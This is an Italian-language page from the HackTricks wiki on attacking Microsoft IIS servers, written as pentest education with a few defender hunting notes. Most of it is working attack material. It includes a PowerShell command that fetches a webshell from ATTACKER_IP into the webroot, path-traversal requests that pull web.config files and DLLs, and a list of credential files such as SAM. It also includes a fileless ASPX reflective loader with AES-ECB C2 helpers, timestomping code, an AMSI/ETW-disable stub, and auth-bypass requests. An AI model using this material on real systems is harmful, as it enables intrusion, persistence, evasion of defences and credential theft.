IIS - Internet Information Services

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Test executable file extensions:

  • asp
  • aspx
  • config
  • php

Scrivibile webroot → ASPX command shell

Se un utente/gruppo a basso privilegio ha accesso in scrittura a C:\inetpub\wwwroot, puoi dropare una ASPX webshell ed eseguire comandi OS come l’identità dell’application pool (spesso possiede SeImpersonatePrivilege).

  • Verifica ACLs: icacls C:\inetpub\wwwroot o cacls . cercando (F) per il tuo utente/gruppo.
  • Carica una command webshell (es., fuzzdb/tennc cmd.aspx) usando PowerShell:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • Richiedi /shell.aspx ed esegui comandi; l’identità di solito mostra iis apppool\defaultapppool.
  • Combina con Potato-family LPE (ad es., GodPotato/SigmaPotato) quando il token dell’AppPool ha SeImpersonatePrivilege per ottenere l’accesso SYSTEM.

Divulgazione dell’indirizzo IP interno

Su qualsiasi server IIS che risponda con un 302 puoi provare a rimuovere l’header Host e usare HTTP/1.0; nella risposta l’header Location potrebbe puntare all’indirizzo IP interno:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Risposta che rivela l’indirizzo IP interno:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Eseguire file .config

Puoi caricare .config files e usarli per eseguire codice. Un modo per farlo è appendere il codice alla fine del file all’interno di un commento HTML: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

Scarica la lista che ho creato:

È stata creata unendo i contenuti delle seguenti liste:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Use it without adding any extension, the files that need it have it already.

Path Traversal

Leaking source code

Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

In sintesi, ci sono diversi file web.config nelle cartelle dell’applicazione con riferimenti a “assemblyIdentity” e “namespaces”. Con queste informazioni è possibile sapere where are executables located e scaricarli.
Dalle downloaded Dlls è anche possibile trovare new namespaces dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.
Inoltre, i file connectionstrings.config e global.asax possono contenere informazioni interessanti.

In .Net MVC applications, il file web.config svolge un ruolo cruciale specificando ogni file binario su cui l’applicazione si basa tramite i tag XML “assemblyIdentity”.

Esplorazione dei file binari

Un esempio di accesso al file web.config è mostrato di seguito:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Questa richiesta rivela varie impostazioni e dipendenze, come ad esempio:

  • EntityFramework version
  • AppSettings per webpages, client validation e JavaScript
  • System.web configurazioni per authentication e runtime
  • System.webServer impostazioni dei modules
  • Runtime assembly bindings per numerose librerie come Microsoft.Owin, Newtonsoft.Json e System.Web.Mvc

Queste impostazioni indicano che alcuni file, come /bin/WebGrease.dll, si trovano nella cartella /bin dell’applicazione.

File della directory principale

I file trovati nella directory principale, come /global.asax e /connectionstrings.config (che contiene password sensibili), sono essenziali per la configurazione e il funzionamento dell’applicazione.

Spazi dei nomi e web.config

Le applicazioni MVC definiscono anche ulteriori web.config files per namespace specifici, per evitare dichiarazioni ripetitive in ogni file, come dimostrato da una richiesta per scaricare un altro web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Scaricare DLL

La menzione di un namespace personalizzato suggerisce la presenza di una DLL chiamata “WebApplication1” nella directory /bin. Di seguito è mostrata una richiesta per scaricare la WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Questo suggerisce la presenza di altre DLL essenziali, come System.Web.Mvc.dll e System.Web.Optimization.dll, nella directory /bin.

In uno scenario in cui una DLL importa uno namespace chiamato WebApplication1.Areas.Minded, un attacker potrebbe dedurre l’esistenza di altri file web.config in percorsi prevedibili, come /area-name/Views/, contenenti configurazioni specifiche e riferimenti ad altre DLL nella cartella /bin. Ad esempio, una richiesta a /Minded/Views/web.config può rivelare configurazioni e namespace che indicano la presenza di un’altra DLL, WebApplication1.AdditionalFeatures.dll.

File comuni

Da here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

Se vedi un errore come il seguente:

Significa che il server non ha ricevuto il nome di dominio corretto nell’header Host.
Per accedere alla pagina web puoi dare un’occhiata al SSL Certificate servito e magari troverai lì il nome di dominio/sottodominio. Se non è presente, potresti dover brute force VHosts finché non trovi quello corretto.

Decriptare la configurazione cifrata e gli ASP.NET Core Data Protection key rings

Due schemi comuni per proteggere i segreti nelle app .NET ospitate su IIS sono:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) per sezioni di web.config come .
  • ASP.NET Core Data Protection key ring (persistito localmente) usato per proteggere i segreti dell’applicazione e i cookie.

Se hai accesso al filesystem o accesso interattivo sul web server, le chiavi co-locate spesso permettono la decrittazione.

  • ASP.NET (Full Framework) – decriptare le sezioni di config protette con aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – cerca i Data Protection key ring memorizzati localmente (file XML/JSON) in posizioni come:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Con il key ring disponibile, un operatore che esegue con l’identità dell’app può istanziare un IDataProtector con gli stessi purposes e unprotectare i segreti memorizzati. Le misconfigurazioni che memorizzano il key ring insieme ai file dell’app rendono la decrittazione offline banale una volta compromesso l’host.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Il toolkit Phantom Taurus/NET-STAR mostra un pattern maturo per fileless IIS persistence e post‑exploitation interamente dentro w3wp.exe. Le idee principali sono ampiamente riutilizzabili per tradecraft personalizzato e per detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: una singola pagina .aspx (es., OutlookEN.aspx) contiene una .NET DLL codificata in Base64 e opzionalmente compressa con Gzip. Alla richiesta trigger la decodifica, la decomprime e la carica reflectively nell’AppDomain corrente e invoca il punto d’entrata principale (es., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: task/results vengono incapsulati con Gzip → AES‑ECB/PKCS7 → Base64 e trasmessi tramite richieste apparentemente legittime che sfruttano molti cookie; gli operatori usavano delimitatori stabili (es., “STAR”) per il chunking.
  • Reflective .NET execution: accetta assembly managed arbitrari in Base64, li carica via Assembly.Load(byte[]) e passa operator args per rapidi swap di moduli senza toccare il disco.
  • Operating in precompiled ASP.NET sites: aggiungere/gestire shell/backdoor ausiliarie anche quando il sito è precompilato (es., il dropper aggiunge pagine/handler dinamici o sfrutta config handlers) – esposto tramite comandi come bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: espone un’azione changeLastModified e timestomp al deployment (inclusi timestamp di compilazione futuri) per ostacolare il DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: un loader di seconda fase può disabilitare AMSI e ETW prima di chiamare Assembly.Load per ridurre l’ispezione dei payload in memoria.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Helper di Packing/crypto (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session flow and command surface

  • Il bootstrap della sessione e il tasking vengono veicolati tramite cookies per mimetizzarsi con l’attività web normale.
  • I comandi osservati in the wild includevano: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; e le primitive di esecuzione dinamica code_self, code_pid, run_code per l’esecuzione in‑memory .NET.

Timestomping utility

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Disabilitazione inline di AMSI/ETW prima di Assembly.Load (variante loader)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Vedi le tecniche di bypass AMSI/ETW in: windows-hardening/av-bypass.md

Note di hunting (difensori)

  • Singola pagina ASPX strana con blob Base64/Gzip molto lunghi; post che usano pesantemente cookie.
  • Managed modules non supportati dentro w3wp.exe; stringhe come Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Delimitatori ripetuti come “STAR” nel traffico; timestamp non corrispondenti o anche futuri su ASPX/assembly.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Molte app ASP.NET incorporano Telerik UI for ASP.NET AJAX ed espongono l’handler non autenticato Telerik.Web.UI.WebResource.axd. Quando l’endpoint della cache dell’Image Editor è raggiungibile (type=iec), i parametri dkey=1 e prtype abilitano unsafe reflection che esegue qualsiasi costruttore pubblico senza parametri pre‑auth. Questo fornisce una primitiva DoS universale e può scalare a RCE pre‑auth su app con handler insicuri AppDomain.AssemblyResolve.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Vecchie vulnerabilità di IIS da cercare

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Puoi provare a enumerare folders and files all’interno di ogni cartella scoperta (anche se richiede Basic Authentication) usando questa technique.
La limitazione principale di questa tecnica se il server è vulnerabile è che può trovare solo fino alle prime 6 lettere del nome di ogni file/cartella e le prime 3 lettere dell’estensione dei file.

Puoi usare https://github.com/irsdl/IIS-ShortName-Scanner per testare questa vulnerabilità: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Puoi anche usare metasploit: use scanner/http/iis_shortname_scanner

Una buona idea per trovare il nome finale dei file scoperti è chiedere agli LLM opzioni come fatto nello script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Bypass a basic authentication (IIS 7.5) provando ad accedere a: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

Puoi provare a combinare questa vulnerabilità e la precedente per trovare nuove cartelle e bypassare l’autenticazione.

Debugging di ASP.NET Trace.AXD abilitato

ASP.NET include una modalità di debugging e il suo file si chiama trace.axd.

Tiene un log molto dettagliato di tutte le richieste fatte a un’applicazione in un periodo di tempo.

Queste informazioni includono gli IP remoti dei client, session ID, tutti i cookie di request e response, percorsi fisici, informazioni sul codice sorgente e potenzialmente anche username e password.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH usa le seguenti informazioni:

  • validationKey (string): chiave codificata in esadecimale da usare per la validazione della signature.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): vettore di inizializzazione codificato in esadecimale (di default un vettore di zeri).
  • decryptionKey (string): chiave codificata in esadecimale da usare per la decrittazione.

Tuttavia, alcune persone useranno i valori di default di questi parametri e useranno come cookie l’email dell’utente. Pertanto, se riesci a trovare un sito che usa la stessa piattaforma che utilizza il cookie ASPXAUTH e crei un utente con l’email dell’utente che vuoi impersonare sul server sotto attacco, potresti essere in grado di usare il cookie dal secondo server nel primo e impersonare l’utente.
Questo attacco ha funzionato in questo writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Un bug nel codice non controllava correttamente la password fornita dall’utente, quindi un attacker la cui password hash collide con una key già presente nella cache sarà in grado di effettuare il login come quell’utente.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks